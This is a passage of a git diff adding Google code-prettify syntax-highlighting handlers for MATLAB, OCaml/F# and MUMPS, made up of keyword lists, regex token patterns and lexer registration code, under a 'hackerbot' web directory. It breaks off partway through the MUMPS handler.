depdir|depfun|det|detrend|deval|diag|dialog|diary|diff|diffuse|dir|disp|display|dither|divergence|dlmread|dlmwrite|dmperm|doc|docsearch|dos|dot|dragrect|drawnow|dsearch|dsearchn|dynamicprops|echo|echodemo|edit|eig|eigs|ellipj|ellipke|ellipsoid|empty|enableNETfromNetworkDrive|enableservice|EndInvoke|enumeration|eomday|eq|erf|erfc|erfcinv|erfcx|erfinv|error|errorbar|errordlg|etime|etree|etreeplot|eval|evalc|evalin|event\.(?:EventData|listener|PropertyEvent|proplistener)|exifread|exist|exit|exp|expint|expm|expm1|export2wsdlg|eye|ezcontour|ezcontourf|ezmesh|ezmeshc|ezplot|ezplot3|ezpolar|ezsurf|ezsurfc|factor|factorial|fclose|feather|feature|feof|ferror|feval|fft|fft2|fftn|fftshift|fftw|fgetl|fgets|fieldnames|figure|figurepalette|fileattrib|filebrowser|filemarker|fileparts|fileread|filesep|fill|fill3|filter|filter2|find|findall|findfigs|findobj|findstr|finish|fitsdisp|fitsinfo|fitsread|fitswrite|fix|flag|flipdim|fliplr|flipud|floor|flow|fminbnd|fminsearch|fopen|format|fplot|fprintf|frame2im|fread|freqspace|frewind|fscanf|fseek|ftell|FTP|full|fullfile|func2str|functions|funm|fwrite|fzero|gallery|gamma|gammainc|gammaincinv|gammaln|gca|gcbf|gcbo|gcd|gcf|gco|ge|genpath|genvarname|get|getappdata|getenv|getfield|getframe|getpixelposition|getpref|ginput|gmres|gplot|grabcode|gradient|gray|graymon|grid|griddata(?:3|n)?|griddedInterpolant|gsvd|gt|gtext|guidata|guide|guihandles|gunzip|gzip|h5create|h5disp|h5info|h5read|h5readatt|h5write|h5writeatt|hadamard|handle|hankel|hdf|hdf5|hdf5info|hdf5read|hdf5write|hdfinfo|hdfread|hdftool|help|helpbrowser|helpdesk|helpdlg|helpwin|hess|hex2dec|hex2num|hgexport|hggroup|hgload|hgsave|hgsetget|hgtransform|hidden|hilb|hist|histc|hold|home|horzcat|hostid|hot|hsv|hsv2rgb|hypot|ichol|idivide|ifft|ifft2|ifftn|ifftshift|ilu|im2frame|im2java|imag|image|imagesc|imapprox|imfinfo|imformats|import|importdata|imread|imwrite|ind2rgb|ind2sub|inferiorto|info|inline|inmem|inpolygon|input|inputdlg|inputname|inputParser|inspect|instrcallback|instrfind|instrfindall|int2str|integral(?:2|3)?|interp(?:1|1q|2|3|ft|n)|interpstreamspeed|intersect|intmax|intmin|inv|invhilb|ipermute|isa|isappdata|iscell|iscellstr|ischar|iscolumn|isdir|isempty|isequal|isequaln|isequalwithequalnans|isfield|isfinite|isfloat|isglobal|ishandle|ishghandle|ishold|isinf|isinteger|isjava|iskeyword|isletter|islogical|ismac|ismatrix|ismember|ismethod|isnan|isnumeric|isobject|isocaps|isocolors|isonormals|isosurface|ispc|ispref|isprime|isprop|isreal|isrow|isscalar|issorted|isspace|issparse|isstr|isstrprop|isstruct|isstudent|isunix|isvarname|isvector|javaaddpath|javaArray|javachk|javaclasspath|javacomponent|javaMethod|javaMethodEDT|javaObject|javaObjectEDT|javarmpath|jet|keyboard|kron|lasterr|lasterror|lastwarn|lcm|ldivide|ldl|le|legend|legendre|length|libfunctions|libfunctionsview|libisloaded|libpointer|libstruct|license|light|lightangle|lighting|lin2mu|line|lines|linkaxes|linkdata|linkprop|linsolve|linspace|listdlg|listfonts|load|loadlibrary|loadobj|log|log10|log1p|log2|loglog|logm|logspace|lookfor|lower|ls|lscov|lsqnonneg|lsqr|lt|lu|luinc|magic|makehgtform|mat2cell|mat2str|material|matfile|matlab\.io\.MatFile|matlab\.mixin\.(?:Copyable|Heterogeneous(?:\.getDefaultScalarElement)?)|matlabrc|matlabroot|max|maxNumCompThreads|mean|median|membrane|memmapfile|memory|menu|mesh|meshc|meshgrid|meshz|meta\.(?:class(?:\.fromName)?|DynamicProperty|EnumeratedValue|event|MetaData|method|package(?:\.(?:fromName|getAllPackages))?|property)|metaclass|methods|methodsview|mex(?:\.getCompilerConfigurations)?|MException|mexext|mfilename|min|minres|minus|mislocked|mkdir|mkpp|mldivide|mlint|mlintrpt|mlock|mmfileinfo|mmreader|mod|mode|more|move|movefile|movegui|movie|movie2avi|mpower|mrdivide|msgbox|mtimes|mu2lin|multibandread|multibandwrite|munlock|namelengthmax|nargchk|narginchk|nargoutchk|native2unicode|nccreate|ncdisp|nchoosek|ncinfo|ncread|ncreadatt|ncwrite|ncwriteatt|ncwriteschema|ndgrid|ndims|ne|NET(?:\.(?:addAssembly|Assembly|convertArray|createArray|createGeneric|disableAutoRelease|enableAutoRelease|GenericClass|invokeGenericMethod|NetException|setStaticProperty))?|netcdf\.(?:abort|close|copyAtt|create|defDim|defGrp|defVar|defVarChunking|defVarDeflate|defVarFill|defVarFletcher32|delAtt|endDef|getAtt|getChunkCache|getConstant|getConstantNames|getVar|inq|inqAtt|inqAttID|inqAttName|inqDim|inqDimID|inqDimIDs|inqFormat|inqGrpName|inqGrpNameFull|inqGrpParent|inqGrps|inqLibVers|inqNcid|inqUnlimDims|inqVar|inqVarChunking|inqVarDeflate|inqVarFill|inqVarFletcher32|inqVarID|inqVarIDs|open|putAtt|putVar|reDef|renameAtt|renameDim|renameVar|setChunkCache|setDefaultFormat|setFill|sync)|newplot|nextpow2|nnz|noanimate|nonzeros|norm|normest|not|notebook|now|nthroot|null|num2cell|num2hex|num2str|numel|nzmax|ode(?:113|15i|15s|23|23s|23t|23tb|45)|odeget|odeset|odextend|onCleanup|ones|open|openfig|opengl|openvar|optimget|optimset|or|ordeig|orderfields|ordqz|ordschur|orient|orth|pack|padecoef|pagesetupdlg|pan|pareto|parseSoapResponse|pascal|patch|path|path2rc|pathsep|pathtool|pause|pbaspect|pcg|pchip|pcode|pcolor|pdepe|pdeval|peaks|perl|perms|permute|pie|pink|pinv|planerot|playshow|plot|plot3|plotbrowser|plotedit|plotmatrix|plottools|plotyy|plus|pol2cart|polar|poly|polyarea|polyder|polyeig|polyfit|polyint|polyval|polyvalm|pow2|power|ppval|prefdir|preferences|primes|print|printdlg|printopt|printpreview|prod|profile|profsave|propedit|propertyeditor|psi|publish|PutCharArray|PutFullMatrix|PutWorkspaceData|pwd|qhull|qmr|qr|qrdelete|qrinsert|qrupdate|quad|quad2d|quadgk|quadl|quadv|questdlg|quit|quiver|quiver3|qz|rand|randi|randn|randperm|RandStream(?:\.(?:create|getDefaultStream|getGlobalStream|list|setDefaultStream|setGlobalStream))?|rank|rat|rats|rbbox|rcond|rdivide|readasync|real|reallog|realmax|realmin|realpow|realsqrt|record|rectangle|rectint|recycle|reducepatch|reducevolume|refresh|refreshdata|regexp|regexpi|regexprep|regexptranslate|rehash|rem|Remove|RemoveAll|repmat|reset|reshape|residue|restoredefaultpath|rethrow|rgb2hsv|rgb2ind|rgbplot|ribbon|rmappdata|rmdir|rmfield|rmpath|rmpref|rng|roots|rose|rosser|rot90|rotate|rotate3d|round|rref|rsf2csf|run|save|saveas|saveobj|savepath|scatter|scatter3|schur|sec|secd|sech|selectmoveresize|semilogx|semilogy|sendmail|serial|set|setappdata|setdiff|setenv|setfield|setpixelposition|setpref|setstr|setxor|shading|shg|shiftdim|showplottool|shrinkfaces|sign|sin(?:d|h)?|size|slice|smooth3|snapnow|sort|sortrows|sound|soundsc|spalloc|spaugment|spconvert|spdiags|specular|speye|spfun|sph2cart|sphere|spinmap|spline|spones|spparms|sprand|sprandn|sprandsym|sprank|spring|sprintf|spy|sqrt|sqrtm|squeeze|ss2tf|sscanf|stairs|startup|std|stem|stem3|stopasync|str2double|str2func|str2mat|str2num|strcat|strcmp|strcmpi|stream2|stream3|streamline|streamparticles|streamribbon|streamslice|streamtube|strfind|strjust|strmatch|strncmp|strncmpi|strread|strrep|strtok|strtrim|struct2cell|structfun|strvcat|sub2ind|subplot|subsasgn|subsindex|subspace|subsref|substruct|subvolume|sum|summer|superclasses|superiorto|support|surf|surf2patch|surface|surfc|surfl|surfnorm|svd|svds|swapbytes|symamd|symbfact|symmlq|symrcm|symvar|system|tan(?:d|h)?|tar|tempdir|tempname|tetramesh|texlabel|text|textread|textscan|textwrap|tfqmr|throw|tic|Tiff(?:\.(?:getTagNames|getVersion))?|timer|timerfind|timerfindall|times|timeseries|title|toc|todatenum|toeplitz|toolboxdir|trace|transpose|trapz|treelayout|treeplot|tril|trimesh|triplequad|triplot|TriRep|TriScatteredInterp|trisurf|triu|tscollection|tsearch|tsearchn|tstool|type|typecast|uibuttongroup|uicontextmenu|uicontrol|uigetdir|uigetfile|uigetpref|uiimport|uimenu|uiopen|uipanel|uipushtool|uiputfile|uiresume|uisave|uisetcolor|uisetfont|uisetpref|uistack|uitable|uitoggletool|uitoolbar|uiwait|uminus|undocheckout|unicode2native|union|unique|unix|unloadlibrary|unmesh|unmkpp|untar|unwrap|unzip|uplus|upper|urlread|urlwrite|usejava|userpath|validateattributes|validatestring|vander|var|vectorize|ver|verctrl|verLessThan|version|vertcat|VideoReader(?:\.isPlatformSupported)?|VideoWriter(?:\.getProfiles)?|view|viewmtx|visdiff|volumebounds|voronoi|voronoin|wait|waitbar|waitfor|waitforbuttonpress|warndlg|warning|waterfall|wavfinfo|wavplay|wavread|wavrecord|wavwrite|web|weekday|what|whatsnew|which|whitebg|who|whos|wilkinson|winopen|winqueryreg|winter|wk1finfo|wk1read|wk1write|workspace|xlabel|xlim|xlsfinfo|xlsread|xlswrite|xmlread|xmlwrite|xor|xslt|ylabel|ylim|zeros|zip|zlabel|zlim|zoom'
+  ].join("|");
+  var statsFunctions = [
+    'addedvarplot|andrewsplot|anova(?:1|2|n)|ansaribradley|aoctool|barttest|bbdesign|beta(?:cdf|fit|inv|like|pdf|rnd|stat)|bino(?:cdf|fit|inv|pdf|rnd|stat)|biplot|bootci|bootstrp|boxplot|candexch|candgen|canoncorr|capability|capaplot|caseread|casewrite|categorical|ccdesign|cdfplot|chi2(?:cdf|gof|inv|pdf|rnd|stat)|cholcov|Classification(?:BaggedEnsemble|Discriminant(?:\.(?:fit|make|template))?|Ensemble|KNN(?:\.(?:fit|template))?|PartitionedEnsemble|PartitionedModel|Tree(?:\.(?:fit|template))?)|classify|classregtree|cluster|clusterdata|cmdscale|combnk|Compact(?:Classification(?:Discriminant|Ensemble|Tree)|Regression(?:Ensemble|Tree)|TreeBagger)|confusionmat|controlchart|controlrules|cophenet|copula(?:cdf|fit|param|pdf|rnd|stat)|cordexch|corr|corrcov|coxphfit|createns|crosstab|crossval|cvpartition|datasample|dataset|daugment|dcovary|dendrogram|dfittool|disttool|dummyvar|dwtest|ecdf|ecdfhist|ev(?:cdf|fit|inv|like|pdf|rnd|stat)|ExhaustiveSearcher|exp(?:cdf|fit|inv|like|pdf|rnd|stat)|factoran|fcdf|ff2n|finv|fitdist|fitensemble|fpdf|fracfact|fracfactgen|friedman|frnd|fstat|fsurfht|fullfact|gagerr|gam(?:cdf|fit|inv|like|pdf|rnd|stat)|GeneralizedLinearModel(?:\.fit)?|geo(?:cdf|inv|mean|pdf|rnd|stat)|gev(?:cdf|fit|inv|like|pdf|rnd|stat)|gline|glmfit|glmval|glyphplot|gmdistribution(?:\.fit)?|gname|gp(?:cdf|fit|inv|like|pdf|rnd|stat)|gplotmatrix|grp2idx|grpstats|gscatter|haltonset|harmmean|hist3|histfit|hmm(?:decode|estimate|generate|train|viterbi)|hougen|hyge(?:cdf|inv|pdf|rnd|stat)|icdf|inconsistent|interactionplot|invpred|iqr|iwishrnd|jackknife|jbtest|johnsrnd|KDTreeSearcher|kmeans|knnsearch|kruskalwallis|ksdensity|kstest|kstest2|kurtosis|lasso|lassoglm|lassoPlot|leverage|lhsdesign|lhsnorm|lillietest|LinearModel(?:\.fit)?|linhyptest|linkage|logn(?:cdf|fit|inv|like|pdf|rnd|stat)|lsline|mad|mahal|maineffectsplot|manova1|manovacluster|mdscale|mhsample|mle|mlecov|mnpdf|mnrfit|mnrnd|mnrval|moment|multcompare|multivarichart|mvn(?:cdf|pdf|rnd)|mvregress|mvregresslike|mvt(?:cdf|pdf|rnd)|NaiveBayes(?:\.fit)?|nan(?:cov|max|mean|median|min|std|sum|var)|nbin(?:cdf|fit|inv|pdf|rnd|stat)|ncf(?:cdf|inv|pdf|rnd|stat)|nct(?:cdf|inv|pdf|rnd|stat)|ncx2(?:cdf|inv|pdf|rnd|stat)|NeighborSearcher|nlinfit|nlintool|nlmefit|nlmefitsa|nlparci|nlpredci|nnmf|nominal|NonLinearModel(?:\.fit)?|norm(?:cdf|fit|inv|like|pdf|rnd|stat)|normplot|normspec|ordinal|outlierMeasure|parallelcoords|paretotails|partialcorr|pcacov|pcares|pdf|pdist|pdist2|pearsrnd|perfcurve|perms|piecewisedistribution|plsregress|poiss(?:cdf|fit|inv|pdf|rnd|tat)|polyconf|polytool|prctile|princomp|ProbDist(?:Kernel|Parametric|UnivKernel|UnivParam)?|probplot|procrustes|qqplot|qrandset|qrandstream|quantile|randg|random|randsample|randtool|range|rangesearch|ranksum|rayl(?:cdf|fit|inv|pdf|rnd|stat)|rcoplot|refcurve|refline|regress|Regression(?:BaggedEnsemble|Ensemble|PartitionedEnsemble|PartitionedModel|Tree(?:\.(?:fit|template))?)|regstats|relieff|ridge|robustdemo|robustfit|rotatefactors|rowexch|rsmdemo|rstool|runstest|sampsizepwr|scatterhist|sequentialfs|signrank|signtest|silhouette|skewness|slicesample|sobolset|squareform|statget|statset|stepwise|stepwisefit|surfht|tabulate|tblread|tblwrite|tcdf|tdfread|tiedrank|tinv|tpdf|TreeBagger|treedisp|treefit|treeprune|treetest|treeval|trimmean|trnd|tstat|ttest|ttest2|unid(?:cdf|inv|pdf|rnd|stat)|unif(?:cdf|inv|it|pdf|rnd|stat)|vartest(?:2|n)?|wbl(?:cdf|fit|inv|like|pdf|rnd|stat)|wblplot|wishrnd|x2fx|xptread|zscore|ztest'
+  ].join("|");
+  var imageFunctions = [
+    'adapthisteq|analyze75info|analyze75read|applycform|applylut|axes2pix|bestblk|blockproc|bwarea|bwareaopen|bwboundaries|bwconncomp|bwconvhull|bwdist|bwdistgeodesic|bweuler|bwhitmiss|bwlabel|bwlabeln|bwmorph|bwpack|bwperim|bwselect|bwtraceboundary|bwulterode|bwunpack|checkerboard|col2im|colfilt|conndef|convmtx2|corner|cornermetric|corr2|cp2tform|cpcorr|cpselect|cpstruct2pairs|dct2|dctmtx|deconvblind|deconvlucy|deconvreg|deconvwnr|decorrstretch|demosaic|dicom(?:anon|dict|info|lookup|read|uid|write)|edge|edgetaper|entropy|entropyfilt|fan2para|fanbeam|findbounds|fliptform|freqz2|fsamp2|fspecial|ftrans2|fwind1|fwind2|getheight|getimage|getimagemodel|getline|getneighbors|getnhood|getpts|getrangefromclass|getrect|getsequence|gray2ind|graycomatrix|graycoprops|graydist|grayslice|graythresh|hdrread|hdrwrite|histeq|hough|houghlines|houghpeaks|iccfind|iccread|iccroot|iccwrite|idct2|ifanbeam|im2bw|im2col|im2double|im2int16|im2java2d|im2single|im2uint16|im2uint8|imabsdiff|imadd|imadjust|ImageAdapter|imageinfo|imagemodel|imapplymatrix|imattributes|imbothat|imclearborder|imclose|imcolormaptool|imcomplement|imcontour|imcontrast|imcrop|imdilate|imdisplayrange|imdistline|imdivide|imellipse|imerode|imextendedmax|imextendedmin|imfill|imfilter|imfindcircles|imfreehand|imfuse|imgca|imgcf|imgetfile|imhandles|imhist|imhmax|imhmin|imimposemin|imlincomb|imline|immagbox|immovie|immultiply|imnoise|imopen|imoverview|imoverviewpanel|impixel|impixelinfo|impixelinfoval|impixelregion|impixelregionpanel|implay|impoint|impoly|impositionrect|improfile|imputfile|impyramid|imreconstruct|imrect|imregconfig|imregionalmax|imregionalmin|imregister|imresize|imroi|imrotate|imsave|imscrollpanel|imshow|imshowpair|imsubtract|imtool|imtophat|imtransform|imview|ind2gray|ind2rgb|interfileinfo|interfileread|intlut|ippl|iptaddcallback|iptcheckconn|iptcheckhandle|iptcheckinput|iptcheckmap|iptchecknargin|iptcheckstrs|iptdemos|iptgetapi|iptGetPointerBehavior|iptgetpref|ipticondir|iptnum2ordinal|iptPointerManager|iptprefs|iptremovecallback|iptSetPointerBehavior|iptsetpref|iptwindowalign|iradon|isbw|isflat|isgray|isicc|isind|isnitf|isrgb|isrset|lab2double|lab2uint16|lab2uint8|label2rgb|labelmatrix|makecform|makeConstrainToRectFcn|makehdr|makelut|makeresampler|maketform|mat2gray|mean2|medfilt2|montage|nitfinfo|nitfread|nlfilter|normxcorr2|ntsc2rgb|openrset|ordfilt2|otf2psf|padarray|para2fan|phantom|poly2mask|psf2otf|qtdecomp|qtgetblk|qtsetblk|radon|rangefilt|reflect|regionprops|registration\.metric\.(?:MattesMutualInformation|MeanSquares)|registration\.optimizer\.(?:OnePlusOneEvolutionary|RegularStepGradientDescent)|rgb2gray|rgb2ntsc|rgb2ycbcr|roicolor|roifill|roifilt2|roipoly|rsetwrite|std2|stdfilt|strel|stretchlim|subimage|tformarray|tformfwd|tforminv|tonemap|translate|truesize|uintlut|viscircles|warp|watershed|whitepoint|wiener2|xyz2double|xyz2uint16|ycbcr2rgb'
+  ].join("|");
+  var optimFunctions = [
+    'bintprog|color|fgoalattain|fminbnd|fmincon|fminimax|fminsearch|fminunc|fseminf|fsolve|fzero|fzmult|gangstr|ktrlink|linprog|lsqcurvefit|lsqlin|lsqnonlin|lsqnonneg|optimget|optimset|optimtool|quadprog'
+  ].join("|");
+
+  // identifiers: variable/function name, or a chain of variable names joined by dots (obj.method, struct.field1.field2, etc..)
+  // valid variable names (start with letter, and contains letters, digits, and underscores).
+  // we match "xx.yy" as a whole so that if "xx" is plain and "yy" is not, we dont get a false positive for "yy"
+  //var reIdent = '(?:[a-zA-Z][a-zA-Z0-9_]*)';
+  //var reIdentChain = '(?:' + reIdent + '(?:\.' + reIdent + ')*' + ')';
+
+  // patterns that always start with a known character. Must have a shortcut string.
+  var shortcutStylePatterns = [
+    // whitespaces: space, tab, carriage return, line feed, line tab, form-feed, non-break space
+    [PR.PR_PLAIN, /^[ \t\r\n\v\f\xA0]+/, null, " \t\r\n\u000b\u000c\u00a0"],
+
+    // block comments
+    //TODO: chokes on nested block comments
+    //TODO: false positives when the lines with %{ and %} contain non-spaces
+    //[PR.PR_COMMENT, /^%(?:[^\{].*|\{(?:%|%*[^\}%])*(?:\}+%?)?)/, null],
+    [PR.PR_COMMENT, /^%\{[^%]*%+(?:[^\}%][^%]*%+)*\}/, null],
+
+    // single-line comments
+    [PR.PR_COMMENT, /^%[^\r\n]*/, null, "%"],
+
+    // system commands
+    [PR_SYSCMD, /^![^\r\n]*/, null, "!"]
+  ];
+
+  // patterns that will be tried in order if the shortcut ones fail. May have shortcuts.
+  var fallthroughStylePatterns = [
+    // line continuation
+    [PR_LINE_CONTINUATION, /^\.\.\.\s*[\r\n]/, null],
+
+    // error message
+    [PR_ERROR, /^\?\?\? [^\r\n]*/, null],
+
+    // warning message
+    [PR_WARNING, /^Warning: [^\r\n]*/, null],
+
+    // command prompt/output
+    //[PR_CODE_OUTPUT, /^>>\s+[^\r\n]*[\r\n]{1,2}[^=]*=[^\r\n]*[\r\n]{1,2}[^\r\n]*/, null],    // full command output (both loose/compact format): `>> EXP\nVAR =\n VAL`
+    [PR_CODE_OUTPUT, /^>>\s+/, null],      // only the command prompt `>> `
+    [PR_CODE_OUTPUT, /^octave:\d+>\s+/, null],  // Octave command prompt `octave:1> `
+
+    // identifier (chain) or closing-parenthesis/brace/bracket, and IS followed by transpose operator
+    // this way we dont misdetect the transpose operator ' as the start of a string
+    ["lang-matlab-operators", /^((?:[a-zA-Z][a-zA-Z0-9_]*(?:\.[a-zA-Z][a-zA-Z0-9_]*)*|\)|\]|\}|\.)')/, null],
+
+    // identifier (chain), and NOT followed by transpose operator
+    // this must come AFTER the "is followed by transpose" step (otherwise it chops the last char of identifier)
+    ["lang-matlab-identifiers", /^([a-zA-Z][a-zA-Z0-9_]*(?:\.[a-zA-Z][a-zA-Z0-9_]*)*)(?!')/, null],
+
+    // single-quoted strings: allow for escaping with '', no multilines
+    //[PR.PR_STRING, /(?:(?<=(?:\(|\[|\{|\s|=|;|,|:))|^)'(?:[^']|'')*'(?=(?:\)|\]|\}|\s|=|;|,|:|~|<|>|&|-|\+|\*|\.|\^|\|))/, null],  // string vs. transpose (check before/after context using negative/positive lookbehind/lookahead)
+    [PR.PR_STRING, /^'(?:[^']|'')*'/, null],  // "'"
+
+    // floating point numbers: 1, 1.0, 1i, -1.1E-1
+    [PR.PR_LITERAL, /^[+\-]?\.?\d+(?:\.\d*)?(?:[Ee][+\-]?\d+)?[ij]?/, null],
+
+    // parentheses, braces, brackets
+    [PR.PR_TAG, /^(?:\{|\}|\(|\)|\[|\])/, null],  // "{}()[]"
+
+    // other operators
+    [PR.PR_PUNCTUATION, /^(?:<|>|=|~|@|&|;|,|:|!|\-|\+|\*|\^|\.|\||\\|\/)/, null]
+  ];
+
+  var identifiersPatterns = [
+    // list of keywords (`iskeyword`)
+    [PR.PR_KEYWORD, /^\b(?:break|case|catch|classdef|continue|else|elseif|end|for|function|global|if|otherwise|parfor|persistent|return|spmd|switch|try|while)\b/, null],
+
+    // some specials variables/constants
+    [PR_CONSTANT, /^\b(?:true|false|inf|Inf|nan|NaN|eps|pi|ans|nargin|nargout|varargin|varargout)\b/, null],
+
+    // some data types
+    [PR.PR_TYPE, /^\b(?:cell|struct|char|double|single|logical|u?int(?:8|16|32|64)|sparse)\b/, null],
+
+    // commonly used builtin functions from core MATLAB and a few popular toolboxes
+    [PR_FUNCTION, new RegExp('^\\b(?:' + coreFunctions + ')\\b'), null],
+    [PR_FUNCTION_TOOLBOX, new RegExp('^\\b(?:' + statsFunctions + ')\\b'), null],
+    [PR_FUNCTION_TOOLBOX, new RegExp('^\\b(?:' + imageFunctions + ')\\b'), null],
+    [PR_FUNCTION_TOOLBOX, new RegExp('^\\b(?:' + optimFunctions + ')\\b'), null],
+
+    // plain identifier (user-defined variable/function name)
+    [PR_IDENTIFIER, /^[a-zA-Z][a-zA-Z0-9_]*(?:\.[a-zA-Z][a-zA-Z0-9_]*)*/, null]
+  ];
+
+  var operatorsPatterns = [
+    // forward to identifiers to match
+    ["lang-matlab-identifiers", /^([a-zA-Z][a-zA-Z0-9_]*(?:\.[a-zA-Z][a-zA-Z0-9_]*)*)/, null],
+
+    // parentheses, braces, brackets
+    [PR.PR_TAG, /^(?:\{|\}|\(|\)|\[|\])/, null],  // "{}()[]"
+
+    // other operators
+    [PR.PR_PUNCTUATION, /^(?:<|>|=|~|@|&|;|,|:|!|\-|\+|\*|\^|\.|\||\\|\/)/, null],
+
+    // transpose operators
+    [PR_TRANSPOSE, /^'/, null]
+  ];
+
+  PR.registerLangHandler(
+    PR.createSimpleLexer([], identifiersPatterns),
+    ["matlab-identifiers"]
+  );
+  PR.registerLangHandler(
+    PR.createSimpleLexer([], operatorsPatterns),
+    ["matlab-operators"]
+  );
+  PR.registerLangHandler(
+    PR.createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns),
+    ["matlab"]
+  );
+})(window['PR']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-ml.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-ml.js
new file mode 100644
index 000000000..6d959296e
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-ml.js
@@ -0,0 +1,57 @@
+/**
+ * @license
+ * Copyright (C) 2008 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for OCaml, SML, F# and similar languages.
+ *
+ * Based on the lexical grammar at
+ * http://research.microsoft.com/en-us/um/cambridge/projects/fsharp/manual/spec.html#_Toc270597388
+ *
+ * @author mikesamuel@gmail.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // Whitespace is made up of spaces, tabs and newline characters.
+         [PR['PR_PLAIN'],       /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+         // #if ident/#else/#endif directives delimit conditional compilation
+         // sections
+         [PR['PR_COMMENT'],
+          /^#(?:if[\t\n\r \xA0]+(?:[a-z_$][\w\']*|``[^\r\n\t`]*(?:``|$))|else|endif|light)/i,
+          null, '#'],
+         // A double or single quoted, possibly multi-line, string.
+         // F# allows escaped newlines in strings.
+         [PR['PR_STRING'],      /^(?:\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)|\'(?:[^\'\\]|\\[\s\S])(?:\'|$))/, null, '"\'']
+        ],
+        [
+         // Block comments are delimited by (* and *) and may be
+         // nested. Single-line comments begin with // and extend to
+         // the end of a line.
+         // TODO: (*...*) comments can be nested.  This does not handle that.
+         [PR['PR_COMMENT'],     /^(?:\/\/[^\r\n]*|\(\*[\s\S]*?\*\))/],
+         [PR['PR_KEYWORD'],     /^(?:abstract|and|as|assert|begin|class|default|delegate|do|done|downcast|downto|elif|else|end|exception|extern|false|finally|for|fun|function|if|in|inherit|inline|interface|internal|lazy|let|match|member|module|mutable|namespace|new|null|of|open|or|override|private|public|rec|return|static|struct|then|to|true|try|type|upcast|use|val|void|when|while|with|yield|asr|land|lor|lsl|lsr|lxor|mod|sig|atomic|break|checked|component|const|constraint|constructor|continue|eager|event|external|fixed|functor|global|include|method|mixin|object|parallel|process|protected|pure|sealed|trait|virtual|volatile)\b/],
+         // A number is a hex integer literal, a decimal real literal, or in
+         // scientific notation.
+         [PR['PR_LITERAL'],
+          /^[+\-]?(?:0x[\da-f]+|(?:(?:\.\d+|\d+(?:\.\d*)?)(?:e[+\-]?\d+)?))/i],
+         [PR['PR_PLAIN'],       /^(?:[a-z_][\w']*[!?#]?|``[^\r\n\t`]*(?:``|$))/i],
+         // A printable non-space non-special character
+         [PR['PR_PUNCTUATION'], /^[^\t\n\r \xA0\"\'\w]+/]
+        ]),
+    ['fs', 'ml']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-mumps.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-mumps.js
new file mode 100644
index 000000000..63dec6dc1
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-mumps.js
@@ -0,0 +1,140 @@
+/**
+ * @license
+ * Copyright (C) 2011 Kitware Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for MUMPS.
+ *
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-mumps">(my SQL code)</pre>
+ * 
+ * Commands, intrinsic functions and variables taken from ISO/IEC 11756:1999(E)
+ *
+ * @author chris.harris@kitware.com
+ *
+ * Known issues:
+ * 
+ * - Currently can't distinguish between keywords and local or global variables having the same name
+ *   for exampe SET IF="IF?"
+ * - m file are already used for MatLab hence using mumps.
+ */
+
+(function () {
+
+
+var commands = 'B|BREAK|'       + 
+               'C|CLOSE|'       +
+               'D|DO|'          +
+               'E|ELSE|'        +
+               'F|FOR|'         +
+               'G|GOTO|'        +
+               'H|HALT|'        +
+               'H|HANG|'        +
+               'I|IF|'          +
+               'J|JOB|'         +
+               'K|KILL|'        +
+               'L|LOCK|'        +
+               'M|MERGE|'       +
+               'N|NEW|'         +
+               'O|OPEN|'        +     
+               'Q|QUIT|'        +
+               'R|READ|'        +
+               'S|SET|'         +
+               'TC|TCOMMIT|'    +
+               'TRE|TRESTART|'  +
+               'TRO|TROLLBACK|' +
+               'TS|TSTART|'     +
+               'U|USE|'         +
+               'V|VIEW|'        +  
+               'W|WRITE|'       +
+               'X|XECUTE';
+
+var intrinsicVariables = 'D|DEVICE|'       +
+                         'EC|ECODE|'       +  
+                         'ES|ESTACK|'      +
+                         'ET|ETRAP|'       +
+                         'H|HOROLOG|'      +
+                         'I|IO|'           +
+                         'J|JOB|'          +
+                         'K|KEY|'          +
+                         'P|PRINCIPAL|'    +
+                         'Q|QUIT|'         +
+                         'ST|STACK|'       +
+                         'S|STORAGE|'      +
+                         'SY|SYSTEM|'      +
+                         'T|TEST|'         +
+                         'TL|TLEVEL|'      +
+                         'TR|TRESTART|'    +
+                         'X|'              +
+                         'Y|'              +
+                         'Z[A-Z]*|';    
+
+var intrinsicFunctions = 'A|ASCII|'        +
+                         'C|CHAR|'         +
+                         'D|DATA|'         +
+                         'E|EXTRACT|'      +
+                         'F|FIND|'         +
+                         'FN|FNUMBER|'     +
+                         'G|GET|'          +
+                         'J|JUSTIFY|'      +
+                         'L|LENGTH|'       +
+                         'NA|NAME|'        +
+                         'O|ORDER|'        +
+                         'P|PIECE|'        +
+                         'QL|QLENGTH|'     +
+                         'QS|QSUBSCRIPT|'  +
+                         'Q|QUERY|'        +
+                         'R|RANDOM|'       +
+                         'RE|REVERSE|'     +
+                         'S|SELECT|'       +
+                         'ST|STACK|'       +
+                         'T|TEXT|'         +
+                         'TR|TRANSLATE|'   +
+                         'V|VIEW|'         * 
